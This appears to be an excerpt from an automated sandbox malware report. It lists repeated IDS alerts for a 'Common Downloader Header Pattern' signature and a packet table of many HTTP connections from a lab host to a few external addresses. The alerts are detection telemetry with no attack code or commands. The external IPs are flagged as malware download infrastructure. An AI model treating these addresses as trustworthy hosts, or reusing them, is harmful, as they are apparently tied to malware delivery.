2024-09-07T15:36:38.585530+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55718	172.234.222.138	80	TCP
2024-09-07T15:36:39.885676+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55721	172.234.222.138	80	TCP
2024-09-07T15:36:40.986444+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55724	172.234.222.138	80	TCP
2024-09-07T15:36:42.632345+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55727	172.234.222.138	80	TCP
2024-09-07T15:36:44.790160+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55730	172.234.222.138	80	TCP
2024-09-07T15:36:45.909674+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55733	172.234.222.138	80	TCP
2024-09-07T15:36:47.198197+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55736	172.234.222.138	80	TCP
2024-09-07T15:36:48.573700+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55739	172.234.222.138	80	TCP
2024-09-07T15:36:50.591502+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55742	172.234.222.138	80	TCP
2024-09-07T15:36:52.192030+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55745	172.234.222.138	80	TCP
2024-09-07T15:36:54.933972+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55475	172.234.222.138	80	TCP
2024-09-07T15:37:00.392607+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56438	172.234.222.138	80	TCP
2024-09-07T15:37:02.606729+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56441	172.234.222.138	80	TCP
2024-09-07T15:37:03.738144+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56444	172.234.222.138	80	TCP
2024-09-07T15:37:04.919872+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56447	172.234.222.138	80	TCP
2024-09-07T15:37:07.129185+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56450	172.234.222.138	80	TCP
2024-09-07T15:37:09.417507+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56453	172.234.222.138	80	TCP
2024-09-07T15:37:10.582691+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56456	172.234.222.138	80	TCP
2024-09-07T15:37:12.332661+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56459	172.234.222.138	80	TCP
2024-09-07T15:37:13.466719+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56462	172.234.222.138	80	TCP
2024-09-07T15:37:14.760158+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56465	172.234.222.138	80	TCP
2024-09-07T15:37:18.225915+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56468	172.234.222.138	80	TCP
2024-09-07T15:37:19.812830+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56471	172.234.222.138	80	TCP
2024-09-07T15:37:20.960270+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56474	172.234.222.138	80	TCP
2024-09-07T15:37:22.460561+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56477	172.234.222.138	80	TCP
2024-09-07T15:37:24.627125+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56480	172.234.222.138	80	TCP
2024-09-07T15:37:25.765520+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56483	172.234.222.138	80	TCP
2024-09-07T15:37:26.912057+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56486	172.234.222.138	80	TCP
2024-09-07T15:37:28.668216+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56489	172.234.222.138	80	TCP
2024-09-07T15:37:30.435293+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56492	172.234.222.138	80	TCP
2024-09-07T15:37:32.043608+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56495	172.234.222.138	80	TCP
2024-09-07T15:37:34.291256+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56498	172.234.222.138	80	TCP
2024-09-07T15:37:38.068355+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56501	172.234.222.138	80	TCP
2024-09-07T15:37:40.208226+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56504	172.234.222.138	80	TCP
2024-09-07T15:37:41.370321+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56507	172.234.222.138	80	TCP
2024-09-07T15:37:42.473745+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56510	172.234.222.138	80	TCP
2024-09-07T15:37:45.164000+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56513	172.234.222.138	80	TCP
2024-09-07T15:37:47.582878+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56516	172.234.222.138	80	TCP
2024-09-07T15:37:48.694007+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56519	172.234.222.138	80	TCP
2024-09-07T15:37:50.394372+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56522	172.234.222.138	80	TCP
2024-09-07T15:37:51.532926+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56525	172.234.222.138	80	TCP
2024-09-07T15:37:52.699955+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	56528	172.234.222.138	80	TCP
2024-09-07T15:37:56.463532+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	62902	172.234.222.138	80	TCP
2024-09-07T15:37:58.068286+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	62905	172.234.222.138	80	TCP
2024-09-07T15:37:59.261504+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	62908	172.234.222.138	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 15:33:56.278403997 CEST	49709	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:33:56.283237934 CEST	80	49709	64.70.19.203	192.168.2.3
Sep 7, 2024 15:33:56.283350945 CEST	49709	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:33:56.284172058 CEST	49709	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:33:56.288975954 CEST	80	49709	64.70.19.203	192.168.2.3
Sep 7, 2024 15:33:56.289031029 CEST	49709	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:33:57.359462976 CEST	49710	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:33:57.364332914 CEST	80	49710	172.234.222.138	192.168.2.3
Sep 7, 2024 15:33:57.364433050 CEST	49710	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:33:57.364600897 CEST	49710	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:33:57.371644974 CEST	80	49710	172.234.222.138	192.168.2.3
Sep 7, 2024 15:33:57.860641003 CEST	80	49710	172.234.222.138	192.168.2.3
Sep 7, 2024 15:33:57.860677004 CEST	80	49710	172.234.222.138	192.168.2.3
Sep 7, 2024 15:33:57.860776901 CEST	49710	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:33:57.860922098 CEST	49710	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:00.081768990 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:00.086596966 CEST	80	49711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:00.088063002 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:00.088243961 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:00.093019962 CEST	80	49711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:00.576472044 CEST	80	49711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:00.578044891 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.084474087 CEST	49712	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:01.089605093 CEST	80	49712	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:01.089694023 CEST	49712	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:01.089816093 CEST	49712	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:01.094923973 CEST	80	49712	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:01.094979048 CEST	49712	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:01.098915100 CEST	49713	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.103903055 CEST	80	49713	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.104013920 CEST	49713	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.104079962 CEST	49713	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.109091997 CEST	80	49713	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.586461067 CEST	80	49713	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.586618900 CEST	80	49713	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.586707115 CEST	49713	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.586744070 CEST	49713	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.587013960 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.587373972 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.592156887 CEST	80	49711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.592246056 CEST	49711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.592674017 CEST	80	49714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:01.592768908 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.592946053 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:01.597886086 CEST	80	49714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.076724052 CEST	80	49714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.076875925 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.384320021 CEST	49715	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:02.389154911 CEST	80	49715	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:02.389241934 CEST	49715	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:02.397923946 CEST	49715	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:02.402801037 CEST	80	49715	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:02.402894020 CEST	49715	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:02.410183907 CEST	49716	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.415009022 CEST	80	49716	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.415081978 CEST	49716	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.415241003 CEST	49716	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.419958115 CEST	80	49716	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.895457029 CEST	80	49716	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.895498037 CEST	80	49716	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.895565033 CEST	49716	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.895620108 CEST	49716	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.895868063 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.896226883 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.901307106 CEST	80	49717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.901370049 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.901560068 CEST	80	49714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:02.901575089 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.901599884 CEST	49714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:02.906440020 CEST	80	49717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:03.385803938 CEST	80	49717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:03.385889053 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:03.522507906 CEST	49718	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:03.527395964 CEST	80	49718	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:03.527484894 CEST	49718	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:03.538594961 CEST	49718	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:03.543451071 CEST	80	49718	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:03.543520927 CEST	49718	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:03.553765059 CEST	49719	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:03.558594942 CEST	80	49719	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:03.559020996 CEST	49719	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:03.569951057 CEST	49719	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:03.574763060 CEST	80	49719	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.059454918 CEST	80	49719	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.059561014 CEST	80	49719	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.059629917 CEST	49719	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.060035944 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.060456991 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.065241098 CEST	80	49720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.065367937 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.065536976 CEST	80	49717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.065584898 CEST	49717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.065726995 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:04.070609093 CEST	80	49720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.549241066 CEST	80	49720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:04.549357891 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:06.551613092 CEST	49721	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:06.556432009 CEST	80	49721	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:06.556535006 CEST	49721	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:06.571199894 CEST	49721	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:06.576381922 CEST	80	49721	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:06.576492071 CEST	49721	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:06.596084118 CEST	49722	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:06.601166964 CEST	80	49722	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:06.601345062 CEST	49722	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:06.601445913 CEST	49722	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:06.606370926 CEST	80	49722	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.093805075 CEST	80	49722	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.093817949 CEST	80	49722	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.093878984 CEST	49722	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.094000101 CEST	49722	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.099638939 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.100022078 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.104681015 CEST	80	49720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.104768991 CEST	49720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.104808092 CEST	80	49723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.104897022 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.105074883 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:07.109858990 CEST	80	49723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.602106094 CEST	80	49723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:07.602202892 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.378688097 CEST	49724	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:08.383739948 CEST	80	49724	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:08.383819103 CEST	49724	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:08.383944988 CEST	49724	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:08.389272928 CEST	80	49724	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:08.389327049 CEST	49724	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:08.393085003 CEST	49725	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.398003101 CEST	80	49725	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.398091078 CEST	49725	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.398993969 CEST	49725	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.404906034 CEST	80	49725	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.884773016 CEST	80	49725	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.884862900 CEST	80	49725	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.884939909 CEST	49725	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.885026932 CEST	49725	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.890392065 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.890733004 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.895544052 CEST	80	49723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.895558119 CEST	80	49727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:08.895615101 CEST	49723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.895764112 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.895874977 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:08.900598049 CEST	80	49727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:09.377194881 CEST	80	49727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:09.377835035 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:09.794083118 CEST	49728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:09.798965931 CEST	80	49728	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:09.799076080 CEST	49728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:09.799185991 CEST	49728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:09.803771019 CEST	49729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:09.804493904 CEST	80	49728	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:09.804553986 CEST	49728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:09.808692932 CEST	80	49729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:09.808762074 CEST	49729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:09.820045948 CEST	49729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:09.824824095 CEST	80	49729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.293497086 CEST	80	49729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.293523073 CEST	80	49729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.293596029 CEST	49729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.293710947 CEST	49729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.294125080 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.294488907 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.299117088 CEST	80	49727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.299267054 CEST	49727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.299271107 CEST	80	49730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.299350977 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.299624920 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.304416895 CEST	80	49730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.782083988 CEST	80	49730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.782136917 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.919641972 CEST	49731	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:10.924690962 CEST	80	49731	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:10.924763918 CEST	49731	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:10.924855947 CEST	49731	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:10.929888964 CEST	80	49731	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:10.929964066 CEST	80	49731	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:10.930006027 CEST	49731	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:10.933150053 CEST	49732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.938093901 CEST	80	49732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:10.938164949 CEST	49732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.944789886 CEST	49732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:10.949649096 CEST	80	49732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.429979086 CEST	80	49732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.430202007 CEST	80	49732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.430253983 CEST	49732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.430277109 CEST	49732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.430799007 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.431199074 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.435920000 CEST	80	49730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.435973883 CEST	49730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.436305046 CEST	80	60144	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.436407089 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.436605930 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:11.441658020 CEST	80	60144	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.942900896 CEST	80	60144	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:11.943025112 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.420010090 CEST	60145	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:13.424909115 CEST	80	60145	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:13.425015926 CEST	60145	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:13.425138950 CEST	60145	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:13.430315971 CEST	80	60145	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:13.432023048 CEST	60145	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:13.434026003 CEST	60146	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.439090014 CEST	80	60146	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.439201117 CEST	60146	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.439306974 CEST	60146	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.444293976 CEST	80	60146	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.943244934 CEST	80	60146	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.943310022 CEST	80	60146	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.943440914 CEST	60146	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.943568945 CEST	60146	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.950589895 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.950896978 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.955609083 CEST	80	60144	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.955658913 CEST	80	60147	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:13.955678940 CEST	60144	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.955728054 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.955864906 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:13.960609913 CEST	80	60147	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:14.444094896 CEST	80	60147	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:14.444161892 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.037928104 CEST	60148	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:15.042819977 CEST	80	60148	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:15.042889118 CEST	60148	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:15.043004036 CEST	60148	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:15.047203064 CEST	60149	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.047998905 CEST	80	60148	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:15.048070908 CEST	60148	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:15.052037001 CEST	80	60149	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.052108049 CEST	60149	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.054189920 CEST	60149	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.059137106 CEST	80	60149	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.564754963 CEST	80	60149	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.564963102 CEST	60149	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.568216085 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.568778038 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.570123911 CEST	80	60149	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.570169926 CEST	60149	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.573523998 CEST	80	60147	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.573585033 CEST	80	60150	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:15.573601961 CEST	60147	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.573663950 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.573806047 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:15.578588963 CEST	80	60150	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:16.063642025 CEST	80	60150	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:16.063796997 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:16.697465897 CEST	60151	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:16.702403069 CEST	80	60151	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:16.702521086 CEST	60151	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:16.710716009 CEST	60151	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:16.715900898 CEST	80	60151	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:16.715950012 CEST	60151	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:16.721410036 CEST	60152	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:16.726489067 CEST	80	60152	172.234.222.138	192.168.2.3
